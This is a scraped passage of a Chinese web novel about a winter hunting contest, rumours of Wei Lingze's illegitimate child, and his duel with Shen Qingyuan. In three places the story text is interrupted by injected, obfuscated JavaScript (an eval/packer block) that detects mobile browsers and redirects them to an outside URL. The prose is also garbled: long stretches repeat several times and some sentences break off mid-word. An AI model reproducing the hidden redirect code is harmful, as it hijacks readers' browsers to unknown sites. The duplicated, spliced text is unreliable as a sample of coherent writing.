“原来这些日子萧清禾的恩爱幸福都是装出来的啊,想来也是,萧家推迟婚礼就已经是嫌弃卫凌泽了,卫凌泽怎可能不生怨。” “我觉得卫凌泽一开始也不一定有多喜欢她,不过是因为两家是世交,来往多一些被人起哄罢了,不然怎可能在婚约并未解除的情况下让别的女人生下孩子?” 卫凌泽听不下去,冲到两人面前,寒森森地问:“谁有孩子了?你们在说什么?” 下看到这两头狼很是高兴,太子更是大笑着对轩辕朗介绍。 “这位就是今日首位猎得猎物的大人,他叫沈清渊,十七岁就中了状元,如今是御史台的三品大臣。” 都不用清点,众人也能看出沈清渊猎到的猎物是最多的。 轩辕朗微眯着眼,认认真真地打量起沈清渊来。 在众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979395|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的欢呼庆贺声中,沈清渊神情未变,不骄不躁,感受到轩辕朗的目光,也始终从容淡定。 这是个强者。 轩辕朗的好胜之心顿起,等沈清渊走到他面前,他立刻说:“我之前没有听说过你的名字,但我觉得你比如今的卫小将军更适合做我的对手。” 这话一出,卫凌泽顿时变了脸色。 他一个箭步上前,恶狠狠地瞪着轩辕朗:“你今日猎到的猎物还没有我多,有什么资格在这儿挑三拣四,你别忘了,这里是昭陵,不是你一个外人可以随便撒野的地方!” 卫凌泽的语气很不好,但说出来的话很有道理。 这里是昭陵,他们能够答应使臣团切磋已经很好了,哪有轩辕朗说换人就换人的道理? 轩辕朗的昭陵话学得不是很好,他没有理解到卫凌泽真正想表达的意思,思忖了好一会儿点头道:“如果卫小将军的意思是,要先打败你,才能跟这位沈大人切磋,我可以接受。” 轩辕朗的语气随意又自信,好像打败卫凌泽是一件再简单不过的事。 卫凌泽眼中的怒火几乎要化为实质喷涌而出。 轩辕朗这话不仅瞧不起他,还把他说得好像是沈清渊的垫脚石。 卫凌泽强压住胸腔翻涌的杀意,一字一句地对轩辕朗说:“你没有机会打过我,你另外一只胳膊我要定了!” 说这话时,卫凌泽浑身气势很足,像一头被激怒的野兽。 轩辕朗却还是那副悠然自得的模样,丝毫没有把他的狠话放在眼里,只看着沈清渊问:“所以你接受我的挑战吗?” 沈清渊看了眼轩辕朗,又看了看卫凌泽,淡淡道:“如果你非要如此,我可以奉陪。” 沈清渊是今天第一个猎到猎物且猎物数量最多的人,陛下龙颜大悦,赏了他很多好东西。 卫凌泽自然也得了赏赐,但因为轩辕朗又提出要和沈清渊比试,他今日的数量虽然在轩辕朗之上,却没有任何人在意。 所有人都在惊叹沈清渊的能力和心性。 一个十七岁就中了状元的人,在京兆府沉寂十年竟然没有被岁月磨成平庸之辈,反而越发沉稳锋锐了。 若他真的能赢过轩辕朗,那在陛下面前得多有脸面,日后位列三公也不是没有可能啊。 陛下对沈清渊赞不绝口,众人也都跟着吹捧夸赞,那些话落在卫凌泽耳中实在刺耳至极。 拼命打下那头野猪的时候,他本以为这些夸赞都会属于自己,他会让轩辕朗和陛下看见他的实力。 可现在,他完全被掩盖在沈清渊的光芒之下,黯淡极了。 心中憋闷不已,卫凌泽喝了不少酒,宴席结束后,他不知不觉又走到女眷住的营帐附近。 夜里寒气逼人,冷风吹在脸上很是凛冽,卫凌泽突然很想见到萧清禾,跟她说说话。 然而他刚踏出一步,就听到有人在窃窃私语。 “原来这些日子萧清禾的恩爱幸福都是装出来的啊,想来也是,萧家推迟婚礼就已经是嫌弃卫凌泽了,卫凌泽怎可能不生怨。” “我觉得卫凌泽一开始也不一定有多喜欢她,不过是因为两家是世交,来往多一些被人起哄罢了,不然怎可能在婚约并未解除的情况下让别的女人生下孩子?” 卫凌泽听不下去,冲到两人面前,寒森森地问:“谁有孩子了?你们在说什么?” 下看到这两头狼很是高兴,太子更是大笑着对轩辕朗介绍。 “这位就是今日首位猎得猎物的大人,他叫沈清渊,十七岁就中了状元,如今是御史台的三品大臣。” 都不用清点,众人也能看出沈清渊猎到的猎物是最多的。 轩辕朗微眯着眼,认认真真地打量起沈清渊来。 在众人的欢呼庆贺声中,沈清渊神情未变,不骄不躁,感受到轩辕朗的目光,也始终从容淡定。 这是个强者。 轩辕朗的好胜之心顿起,等沈清渊走到他面前,他立刻说:“我之前没有听说过你的名字,但我觉得你比如今的卫小将军更适合做我的对手。” 这话一出,卫凌泽顿时变了脸色。 他一个箭步上前,恶狠狠地瞪着轩辕朗:“你今日猎到的猎物还没有我多,有什么资格在这儿挑三拣四,你别忘了,这里是昭陵,不是你一个外人可以随便撒野的地方!” 卫凌泽的语气很不好,但说出来的话很有道理。 这里是昭陵,他们能够答应使臣团切磋已经很好了,哪有轩辕朗说换人就换人的道理? 轩辕朗的昭陵话学得不是很好,他没有理解到卫凌泽真正想表达的意思,思忖了好一会儿点头道:“如果卫小将军的意思是,要先打败你,才能跟这位沈大人切磋,我可以接受。” 轩辕朗的语气随意又自信,好像打败卫凌泽是一件再简单不过的事。 卫凌泽眼中的怒火几乎要化为实质喷涌而出。 轩辕朗这话不仅瞧不起他,还把他说得好像是沈清渊的垫脚石。 卫凌泽强压住胸腔翻涌的杀意,一字一句地对轩辕朗说:“你没有机会打过我,你另外一只胳膊我要定了!” 说这话时,卫凌泽浑身气势很足,像一头被激怒的野兽。 轩辕朗却还是那副悠然自得的模样,丝毫没有把他的狠话放在眼里,只看着沈清渊问:“所以你接受我的挑战吗?” 沈清渊看了眼轩辕朗,又看了看卫凌泽,淡淡道:“如果你非要如此,我可以奉陪。” 沈清渊是今天第一个猎到猎物且猎物数量最多的人,陛下龙颜大悦,赏了他很多好东西。 卫凌泽自然也得了赏赐,但因为轩辕朗又提出要和沈清渊比试,他今日的数量虽然在轩辕朗之上,却没有任何人在意。 所有人都在惊叹沈清渊的能力和心性。 一个十七岁就中了状元的人,在京兆府沉寂十年竟然没有被岁月磨成平庸之辈,反而越发沉稳锋锐了。 若他真的能赢过轩辕朗,那在陛下面前得多有脸面,日后位列三公也不是没有可能啊。 陛下对沈清渊赞不绝口,众人也都跟着吹捧夸赞,那些话落在卫凌泽耳中实在刺耳至极。 拼命打下那头野猪的时候,他本以为这些夸赞都会属于自己,他会让轩辕朗和陛下看见他的实力。 可现在,他完全被掩盖在沈清渊的光芒之下,黯淡极了。 心中憋闷不已,卫凌泽喝了不少酒,宴席结束后,他不知不觉又走到女眷住的营帐附近。 夜里寒气逼人,冷风吹在脸上很是凛冽,卫凌泽突然很想见到萧清禾,跟她说说话。 然而他刚踏出一步,就听到有人在窃窃私语。 “原来这些日子萧清禾的恩爱幸福都是装出来的啊,想来也是,萧家推迟婚礼就已经是嫌弃卫凌泽了,卫凌泽怎可能不生怨。” “我觉得卫凌泽一开始也不一定有多喜欢她,不过是因为两家是世交,来往多一些被人起哄罢了,不然怎可能在婚约并未解除的情况下让别的女人生下孩子?” 卫凌泽听不下去,冲到两人面前,寒森森地问:“谁有孩子了?你们在说什么?” 下看到这两头狼很是高兴,太子更是大笑着对轩辕朗介绍。 “这位就是今日首位猎得猎物的大人,他叫沈清渊,十七岁就中了状元,如今是御史台的三品大臣。” 都不用清点,众人也能看出沈清渊猎到的猎物是最多的。 轩辕朗微眯着眼,认认真真地打量起沈清渊来。 在众人的欢呼庆贺声中,沈清渊神情未变,不骄不躁,感受到轩辕朗的目光,也始终从容淡定。 这是个强者。 轩辕朗的好胜之心顿起,等沈清渊走到他面前,他立刻说:“我之前没有听说过你的名字,但我觉得你比如今的卫小将军更适合做我的对手。” 这话一出,卫凌泽顿时变了脸色。 他一个箭步上前,恶狠狠地瞪着轩辕朗:“你今日猎到的猎物还没有我多,有什么资格在这儿挑三拣四,你别忘了,这里是昭陵,不是你一个外人可以随便撒野的地方!” 卫凌泽的语气很不好,但说出来的话很有道理。 这里是昭陵,他们能够答应使臣团切磋已经很好了,哪有轩辕朗说换人就换人的道理? 轩辕朗的昭陵话学得不是很好,他没有理解到卫凌泽真正想表达的意思,思忖了好一会儿点头道:“如果卫小将军的意思是,要先打败你,才能跟这位沈大人切磋,我可以接受。” 轩辕朗的语气随意又自信,好像打败卫凌泽是一件再简单不过的事。 卫凌泽眼中的怒火几乎要化为实质喷涌而出。 轩辕朗这话不仅瞧不起他,还把他说得好像是沈清渊的垫脚石。 卫凌泽强压住胸腔翻涌的杀意,一字一句地对轩辕朗说:“你没有机会打过我,你另外一只胳膊我要定了!” 说这话时,卫凌泽浑身气势很足,像一头被激怒的野兽。 轩辕朗却还是那副悠然自得的模样,丝毫没有把他的狠话放在眼里,只看着沈清渊问:“所以你接受我的挑战吗?” 沈清渊看了眼轩辕朗,又看了看卫凌泽,淡淡道:“如果你非要如此,我可以奉陪。” 沈清渊是今天第一个猎到猎物且猎物数量最多的人,陛下龙颜大悦,赏了他很多好东西。 卫凌泽自然也得了赏赐,但因为轩辕朗又提出要和沈清渊比试,他今日的数量虽然在轩辕朗之上,却没有任何人在意。 所有人都在惊叹沈清渊的能力和心性。 一个十七岁就中了状元的人,在京兆府沉寂十年竟然没有被岁月磨成平庸之辈,反而越发沉稳锋锐了。 若他真的能赢过轩辕朗,那在陛下面前得多有脸面,日后位列三公也不是没有可能啊。 陛下对沈清渊赞不绝口,众人也都跟着吹捧夸赞,那些话落在卫凌泽耳中实在刺耳至极。 拼命打下那头野猪的时候,他本以为这些夸赞都会属于自己,他会让轩辕朗和陛下看见他的实力。 可现在,他完全被掩盖在沈清渊的光芒之下,黯淡极了。 心中憋闷不已,卫凌泽喝了不少酒,宴席结束后,他不知不觉又走到女眷住的营帐附近。 夜里寒气逼人,冷风吹在脸上很是凛冽,卫凌泽突然很想见到萧清禾,跟她说说话。 然而他刚踏出一步,就听到有人在窃窃私语。 “原来这些日子萧清禾的恩爱幸福都是装出来的啊,想来也是,萧家推迟婚礼就已经是嫌弃卫凌泽了,卫凌泽怎可能不生怨。” “我觉得卫凌泽一开始也不一定有多喜欢她,不过是因为两家是世交,来往多一些被人起哄罢了,不然怎可能在婚约并未解除的情况下让别的女人生下孩子?” 卫凌泽听不下去,冲到两人面前,寒森森地问:“谁有孩子了?你们在说什么?” 第240章 我们先比一场,沈大人敢吗? “卫公子,这边是女眷营地,你怎么过来了? 说话的两人看到突然出现的卫凌泽皆是花容失色,卫凌泽并不回答,只盯着她们追问:“你们刚刚在说什么? 皇后都下令不许私下议论了,两人哪敢说实话,连忙否认:“你听错了,我们什么都没说,时辰太晚了,我们要回去休息了。 两人说着要走,见卫凌泽伸手来拦,不由得拔高声音:“卫公子,你再如此我们要叫人了! 卫凌泽皱紧眉头,心中烦躁更甚,这是云晚棠突然走了过来:“泽儿,你在做什么? 看到云晚棠,卫凌泽收回手放那两人离开,而后低声道:“方才我听到她们在议论我,小姨可知今日发生了什么事? 犹豫片刻,云晚棠把卫凌泽拉到更隐秘的地方:“沈夫人今日当众指认你有个私生子,并且萧家已经根据她提供的线索查明了情况,你老实告诉小姨,你到底有没有孩子? 在听到那两人的交谈时,卫凌泽已经有了猜测,但真的在云晚棠这里得到证实,卫凌泽还是恨得直咬牙。 他就知道,曹春喜在云州打着卫家的名号闹那一通就是为了给他挖坑。 萧家本就因为下药之事对他不满,如今再牵扯出私生子来,就更有理由跟卫家断亲了。 上一次他就该让人把曹春喜千刀万剐! 卫凌泽面色沉郁,浑身都是杀气,他呼吸微沉,一字一句地否认:“没有,除了禾儿,我没有碰过别的女人,更不可能有孩子。 云晚棠松了口气,这些年她虽然没有在瀚京,但和阿姐的书信往来很密切,阿姐很信任她,若是泽儿真的有了私生子,阿姐定不会瞒着她。 不过之前泽儿瘫痪在床,整个太医院的人都束手无策,阿姐也的确动过给泽儿留后的心思,秘密搜罗了一些身家清白的女子入府。 曹春喜应该就是拿这件事做文章来混淆视听的。 云晚棠已经想好了应对之策,她立刻安慰卫凌泽:“泽儿放心,小姨不会放任别人往你身上泼脏水的,等风头过去,小姨也会帮着劝禾儿回心转意,你先把精力都放在跟轩辕朗的比试上面,只要你赢得比试,一切都能迎刃而解。 云晚棠今天被春喜怼了一通,自觉在众人面前丢了脸,便自称身体不适,没有去参加晚宴,因此还不知道卫凌泽被沈清渊抢了风头。 听到她的话,卫凌泽握紧拳头,半晌才应声道:“小姨放心,我不会输的。 云晚棠露出笑容,柔声道:“小姨当 然是相信你的,你可是卫家族谱记载以来最年轻有为的儿郎,臻儿和玥姐儿可崇拜你这个大哥哥了。” 云晚棠语气诚恳,满脸的骄傲,卫凌泽得到安慰,又与她说了几句便准备回营帐休息,快到营帐时,却发现不远处又燃了一小堆火,沈清渊和春喜紧挨着坐在火堆旁正在烤一只野兔,驸马和恒阳公主坐在两人对面,驸马正拿着一只漂亮的锦鼠献给恒阳公主。 火光之下,春喜眼眸明亮,笑容灿烂,感觉兔子烤得差不多了,削了一块喂到沈清渊嘴边。 沈清渊低头吃下,春喜一脸期待地说着什么,似是在追问他味道如何,沈清渊飞快倾身,在春喜唇上亲了一口。 春喜愣了一下,而后笑得更灿烂了。 两人举止亲昵又自然,分明是感情极好,瞧不出半点儿做戏的痕迹。 卫凌泽捏的拳头不住作响,恨意翻涌,灼得他五脏六腑都疼。 曹春喜先是和无忧阁的人联手设局诱他去云山寺捉奸,如今更是离间了他和禾儿的感情,还当众抹黑他,污蔑他有私生子,他到底哪点儿对不起她? 她刚来凌枫院的时候,他脾气不好的确伤过她几次,但后来接纳她在身边伺候以后,他时不时地就给她赏赐,最后那一年甚至时常带她出门参加宴席,给足了她体面,她为什么要如此忘恩负义,反咬一口呢? 卫凌泽的恨意几乎要凝成冷箭把春喜射成筛子,春喜很快察觉到,她想回头,被沈清渊阻止:“别看,脏。” 话音刚落,恒阳公主走过来把那只锦鼠塞进春喜怀里:“我才不喜欢养这些东西,阿喜你帮我养着吧。” “这可是驸马花了一整天的功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982666|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫特意为公主寻来的,臣妇哪能横刀夺爱呀。” 春喜把锦鼠还给恒阳公主,见她不肯收,煞有其事道:“臣妇也不喜欢养宠物,倒是对吃的颇有研究,这只锦鼠看着挺肥美的,公主若是实在不喜欢,那臣妇现在就把它剐了……” 春喜话没说完,恒阳公主就把锦鼠抱了回去,脸色不大自然地说:“阿喜你都长胖好多了,别一天总想着吃吃喝喝。” “……” 公主,你舍不得锦鼠就直说,干啥拿我长胖了说事? 春喜有些哀怨地看了那只锦鼠一眼,这时腰间一痒,沈清渊捏了捏她的腰,认真道:“是胖了点儿,但还不够,我觉得可以再多长一点肉。” 春喜拍开沈清渊的手,再侧头已看不到卫凌泽的身影。 第二日众人依旧要进围场狩猎,但规则有所变化,只有一上午的时间可以狩猎,没有猎到猎物的自动出局,而猎到猎物的,可以向其他人发起挑战,赢了的人可以得到对方的猎物,通过不断的比试,最终的获胜者便是今年冬猎的赢家。 很快,一上午的时间就过去了。 驸马没有猎到猎物,只寻了一堆锦鼠爱吃的松果和杂草回来,沈清渊、卫凌泽还有轩辕朗猎到的猎物都很多,众人不敢向他们发起挑战,只能先挑弱的下手。 轩辕朗等得无聊,正想向卫凌泽发出挑战,卫凌泽突然看向沈清渊:“跟我比一场,敢吗?” 沈清渊没说敢不敢,只掀眸睨着卫凌泽:“你确定?” “我确定。” 两人达成共识,宫人上报后回来传话:“卫大人,太子殿下说这次冬猎是为了让使臣团见识一下我朝有多人才济济,卫大人不该浪费体力挑战自己人。” 言下之意,太子并不支持他们进行比试。 卫凌泽却坚持道:“我的体力很好,打完沈大人再打轩辕朗也不是问题,沈大人若是害怕,现在倒是可以认输。” 沈清渊没说话,只轻轻地呵了一声。 传话的宫人:“……” 太子殿下的话,您二位是一个字都没有听进去啊。 第241章 我押我夫君赢 卫凌泽对沈清渊发起了挑战。 这个消息一出,所有人都被吸引过来。 恒阳公主第一时间拉着春喜来到比武场旁边,抢占最好的观看位置。 围场不比宫里,没有高高的看台,所谓的比武场,不过是碎石铺成的一块直径十多尺的圆形区域,比武场都被男人围着,女眷只能在远处的矮坡上看一看。 两人站在其中,只要有一方被打出圆形区域,就算输了,当然知道自己打不过,主动认输也是可以的。 春喜和恒阳公主刚站好,其他女眷也都走了过来。 这会儿已经临近傍晚,晚霞似火,艳丽如血,沈清渊和卫凌泽站在其中,很有高手过招,巅峰对决的感觉。 恒阳公主碰了碰春喜的胳膊:“你家老沈可以啊,虽然年纪比卫凌泽大不少,但站在一起倒是一点儿都不显老啊。” 话音刚落,驸马抱着吃饱喝足的锦鼠来到恒阳公主身边,小声道:“其实沈大人比卫公子也大不了多少岁,而且有的人虽然年纪大,但就是很扛老。” 因为被淘汰,驸马脱下利落的劲装,换了一身枫叶红的衣裳,只是往这儿一站,就让他的话相当有说服力。 驸马不仅不显老,甚至还能稳稳艳压卫凌泽。 恒阳公主没接驸马的话,只拉着春喜问:“你觉得你家老沈能赢吗?” 其他人也很好奇这个结果,甚至有人当场设起赌局下注,还派人来问她们要不要下注。 卫凌泽有一战成名的经历,虽然瘫痪了三年,但曾经的骁勇并未被人遗忘,而且他康复不过数月,就又迅速升职到御前,而沈清渊过去十年一直没什么动静,就算昨日和今日猎得的猎物最多,那也只能说明他是个好的猎人,不一定比卫凌泽强。 因此押卫凌泽赢的人要多很多。 “我自然相信我家夫君能赢。” 春喜毫不犹豫地回答了恒阳公主的问题,问恒阳公主借了三千两的银票押沈清渊能赢,恒阳公主笑着打趣:“去无忧阁找乐子二百两你都不舍得,给你家老沈花钱你倒是很大方嘛。” 春喜并不害羞,认真道:“夫妻一体,这种时候,我当然不能抠抠搜搜让我家夫君没面子,而且机会难得,有钱不赚糊涂蛋。” 春喜的语气轻快又自信,是真的坚信沈清渊能赢。 “沈夫人出三千两押沈大人赢!” 庄家收了钱,当即让人高声宣布,以免到时候有人反悔,众人也都被春喜的大手笔惊到。 这位沈夫人出身 不高,胆子倒是挺大的,一出手就是三千两,也不怕输了以后回去被骂败家娘们? 这样嘈杂的声音自然也落入了卫凌泽和沈清渊的耳中。 卫凌泽勾唇冷笑:“她连嫁妆都没有,一出手就是三千两,拿自家夫君大半身家来充面子,沈大人还真是娶了个好妻子。” 卫凌泽挑了一把**做武器,他随手挽了个花,瞧着很是威风帅气。 沈清渊仍是选的剑,他拿在手里掂了掂,漫不经心道:“三千两虽然不是小数目,但也不至于要了我大半身家,而且我的妻就算拿我的全部身家来买乐子,我也甘之如饴,不像侄婿,只会把妻子气回娘家。” 老东西,不会说话就闭嘴! 卫凌泽眸子一沉,率先提枪向沈清渊发起进攻。 卫凌泽动作突然,众人毫无防备,吓得惊呼出声,沈清渊却像是早有预料,足尖一点,便侧身避开,而后提剑反击。 两人的动作都很迅速,刀枪相击,有火星迸溅出来,比下午其他人的比试精彩多了。 越来越多的人被吸引过来,轩辕朗看着两人打了两个来回,竟也取下身上的玛瑙配饰做赌。 他押的是沈清渊赢。 虽说轩辕朗的玛瑙配饰不是特别值钱,但他跟卫凌泽交过手,又是内行,竟然也觉得沈清渊会赢,之前押了注的人不免有些动摇,卫凌泽更是怒意横生。 等他打败沈清渊,一定要好好教训这个残废! 这般想着,卫凌泽的攻势越发地猛了。 他手中**如龙,像是和他整个人融为了一体,沈清渊很快被逼至练武场的边缘。 机会来了! 卫凌泽的心跳快了一拍,手中**直指沈清渊的心脏,想要一鼓作气把沈清渊逼出圆圈,押了卫凌泽赢的人忍不住欢呼起来,远处的坡上,女眷们发出低低的惊呼声,春喜却是连眉头都没有动一下。 人群中央,沈清渊亦是毫不慌张,他微微侧身避开卫凌泽那一枪,不等卫凌泽反应,一个高踢腿将卫凌泽手中的**踢高,连同整个人都往后退了两步。 欢呼声戛然而止,众人不免有些失望,替卫凌泽惋惜错失了良机。 卫凌泽此时却没有精力惋惜,他握着**的手还有些发麻。 沈清渊刚刚那一脚实在是太重了,重到他险些握不住手里的**。 方才还觉得自己马上就要赢下这场比试的卫凌泽像是被兜头浇了一盆冷水,他猛然意识到,从开始比试到现在,他并没有占到上风,沈清渊看似被他逼到 了边缘,实则不过是在观察他的招数试探他的实力。 他不仅打不过沈清渊,而且比沈清渊差远了! 这个念头冒出来后,卫凌泽感觉耳朵像是被什么捂住,周围的声音都变得模糊不清。 比试已经进行到一半了,而且是他自己提出来的,他没有任何的理由叫停。 当着这么多人的面,他会输给沈清渊。 彻彻底底的输掉。 曹春喜没有选择留在他身边……是对的! 沈清渊没有给卫凌泽太多的思考时间,很快提剑攻来。 和方才一味的防御不同,沈清渊的攻势变得凌厉且迅速,卫凌泽虽飞快敛神应对,但他的心气已散,很快落入下风。 形势逆转,卫凌泽被沈清渊逼得节节败退,但沈清渊并没有像卫凌泽那样急于击败他,反而在每次把卫凌泽逼到边缘的时候,又后退一些,给卫凌泽一些喘息的机会。 几次下来,恒阳公主忍不住问春喜:“你家老沈跟卫凌泽是有什么深仇大恨吗?” 明明有机会赢却不要,分明是要逼着卫凌泽自己认输。 “他们没仇,”春喜摇头,而后道,“是我跟他有仇,我家夫君在为我报仇呢。” 春喜刚说完,练武场边又有人高呼:“萧家二小姐出一千两下注,押沈大人赢!” 话音落下的瞬间,卫凌泽手里的**被沈清渊挑落,折射着寒光的剑直指卫凌泽的喉咙。 了边缘,实则不过是在观察他的招数试探他的实力。 他不仅打不过沈清渊,而且比沈清渊差远了! 这个念头冒出来后,卫凌泽感觉耳朵像是被什么捂住,周围的声音都变得模糊不清。 比试已经进行到一半了,而且是他自己提出来的,他没有任何的理由叫停。 当着这么多人的面,他会输给沈清渊。 彻彻底底的输掉。 曹春喜没有选择留在他身边……是对的! 沈清渊没有给卫凌泽太多的思考时间,很快提剑攻来。 和方才一味的防御不同,沈清渊的攻势变得凌厉且迅速,卫凌泽虽飞快敛神应对,但他的心气已散,很快落入下风。 形势逆转,卫凌泽被沈清渊逼得节节败退,但沈清渊并没有像卫凌泽那样急于击败他,反而在每次把卫凌泽逼到边缘的时候,又后退一些,给卫凌泽一些喘息的机会。 几次下来,恒阳公主忍不住问春喜:“你家老沈跟卫凌泽是有什么深仇大恨吗?” 明明有机会赢却不要,分明是要逼着卫凌泽自己认输。 “他们没仇,”春喜摇头,而后道,“是我跟他有仇,我家夫君在为我报仇呢。” 春喜刚说完,练武场边又有人高呼:“萧家二小姐出一千两下注,押沈大人赢!” 话音落下的瞬间,卫凌泽手里的**被沈清渊挑落,折射着寒光的剑直指卫凌泽的喉咙。 了边缘,实则不过是在观察他的招数试探他的实力。 他不仅打不过沈清渊,而且比沈清渊差远了! 这个念头冒出来后,卫凌泽感觉耳朵像是被什么捂住,周围的声音都变得模糊不清。 比试已经进行到一半了,而且是他自己提出来的,他没有任何的理由叫停。 当着这么多人的面,他会输给沈清渊。 彻彻底底的输掉。 曹春喜没有选择留在他身边……是对的! 沈清渊没有给卫凌泽太多的思考时间,很快提剑攻来。 和方才一味的防御不同,沈清渊的攻势变得凌厉且迅速,卫凌泽虽飞快敛神应对,但他的心气已散,很快落入下风。 形势逆转,卫凌泽被沈清渊逼得节节败退,但沈清渊并没有像卫凌泽那样急于击败他,反而在每次把卫凌泽逼到边缘的时候,又后退一些,给卫凌泽一些喘息的机会。 几次下来,恒阳公主忍不住问春喜:“你家老沈跟卫凌泽是有什么深仇大恨吗?” 明明有机会赢却不要,分明是要逼着卫凌泽自己认输。 “他们没仇,”春喜摇头,而后道,“是我跟他有仇,我家夫君在为我报仇呢。” 春喜刚说完,练武场边又有人高呼:“萧家二小姐出一千两下注,押沈大人赢!” 话音落下的瞬间,卫凌泽手里的**被沈清渊挑落,折射着寒光的剑直指卫凌泽的喉咙。 了边缘,实则不过是在观察他的招数试探他的实力。 他不仅打不过沈清渊,而且比沈清渊差远了! 这个念头冒出来后,卫凌泽感觉耳朵像是被什么捂住,周围的声音都变得模糊不清。 比试已经进行到一半了,而且是他自己提出来的,他没有任何的理由叫停。 当着这么多人的面,他会输给沈清渊。 彻彻底底的输掉。 曹春喜没有选择留在他身边……是对的! 沈清渊没有给卫凌泽太多的思考时间,很快提剑攻来。 和方才一味的防御不同,沈清渊的攻势变得凌厉且迅速,卫凌泽虽飞快敛神应对,但他的心气已散,很快落入下风。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982667|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >形势逆转,卫凌泽被沈清渊逼得节节败退,但沈清渊并没有像卫凌泽那样急于击败他,反而在每次把卫凌泽逼到边缘的时候,又后退一些,给卫凌泽一些喘息的机会。 几次下来,恒阳公主忍不住问春喜:“你家老沈跟卫凌泽是有什么深仇大恨吗?” 明明有机会赢却不要,分明是要逼着卫凌泽自己认输。 “他们没仇,”春喜摇头,而后道,“是我跟他有仇,我家夫君在为我报仇呢。” 春喜刚说完,练武场边又有人高呼:“萧家二小姐出一千两下注,押沈大人赢!” 话音落下的瞬间,卫凌泽手里的**被沈清渊挑落,折射着寒光的剑直指卫凌泽的喉咙。 了边缘,实则不过是在观察他的招数试探他的实力。 他不仅打不过沈清渊,而且比沈清渊差远了! 这个念头冒出来后,卫凌泽感觉耳朵像是被什么捂住,周围的声音都变得模糊不清。 比试已经进行到一半了,而且是他自己提出来的,他没有任何的理由叫停。 当着这么多人的面,他会输给沈清渊。 彻彻底底的输掉。 曹春喜没有选择留在他身边……是对的! 沈清渊没有给卫凌泽太多的思考时间,很快提剑攻来。 和方才一味的防御不同,沈清渊的攻势变得凌厉且迅速,卫凌泽虽飞快敛神应对,但他的心气已散,很快落入下风。 形势逆转,卫凌泽被沈清渊逼得节节败退,但沈清渊并没有像卫凌泽那样急于击败他,反而在每次把卫凌泽逼到边缘的时候,又后退一些,给卫凌泽一些喘息的机会。 几次下来,恒阳公主忍不住问春喜:“你家老沈跟卫凌泽是有什么深仇大恨吗?” 明明有机会赢却不要,分明是要逼着卫凌泽自己认输。 “他们没仇,”春喜摇头,而后道,“是我跟他有仇,我家夫君在为我报仇呢。” 春喜刚说完,练武场边又有人高呼:“萧家二小姐出一千两下注,押沈大人赢!” 话音落下的瞬间,卫凌泽手里的**被沈清渊挑落,折射着寒光的剑直指卫凌泽的喉咙。 了边缘,实则不过是在观察他的招数试探他的实力。 他不仅打不过沈清渊,而且比沈清渊差远了! 这个念头冒出来后,卫凌泽感觉耳朵像是被什么捂住,周围的声音都变得模糊不清。 比试已经进行到一半了,而且是他自己提出来的,他没有任何的理由叫停。 当着这么多人的面,他会输给沈清渊。 彻彻底底的输掉。 曹春喜没有选择留在他身边……是对的! 沈清渊没有给卫凌泽太多的思考时间,很快提剑攻来。 和方才一味的防御不同,沈清渊的攻势变得凌厉且迅速,卫凌泽虽飞快敛神应对,但他的心气已散,很快落入下风。 形势逆转,卫凌泽被沈清渊逼得节节败退,但沈清渊并没有像卫凌泽那样急于击败他,反而在每次把卫凌泽逼到边缘的时候,又后退一些,给卫凌泽一些喘息的机会。 几次下来,恒阳公主忍不住问春喜:“你家老沈跟卫凌泽是有什么深仇大恨吗?” 明明有机会赢却不要,分明是要逼着卫凌泽自己认输。 “他们没仇,”春喜摇头,而后道,“是我跟他有仇,我家夫君在为我报仇呢。” 春喜刚说完,练武场边又有人高呼:“萧家二小姐出一千两下注,押沈大人赢!” 话音落下的瞬间,卫凌泽手里的**被沈清渊挑落,折射着寒光的剑直指卫凌泽的喉咙。 了边缘,实则不过是在观察他的招数试探他的实力。 他不仅打不过沈清渊,而且比沈清渊差远了! 这个念头冒出来后,卫凌泽感觉耳朵像是被什么捂住,周围的声音都变得模糊不清。 比试已经进行到一半了,而且是他自己提出来的,他没有任何的理由叫停。 当着这么多人的面,他会输给沈清渊。 彻彻底底的输掉。 曹春喜没有选择留在他身边……是对的! 沈清渊没有给卫凌泽太多的思考时间,很快提剑攻来。 和方才一味的防御不同,沈清渊的攻势变得凌厉且迅速,卫凌泽虽飞快敛神应对,但他的心气已散,很快落入下风。 形势逆转,卫凌泽被沈清渊逼得节节败退,但沈清渊并没有像卫凌泽那样急于击败他,反而在每次把卫凌泽逼到边缘的时候,又后退一些,给卫凌泽一些喘息的机会。 几次下来,恒阳公主忍不住问春喜:“你家老沈跟卫凌泽是有什么深仇大恨吗?” 明明有机会赢却不要,分明是要逼着卫凌泽自己认输。 “他们没仇,”春喜摇头,而后道,“是我跟他有仇,我家夫君在为我报仇呢。” 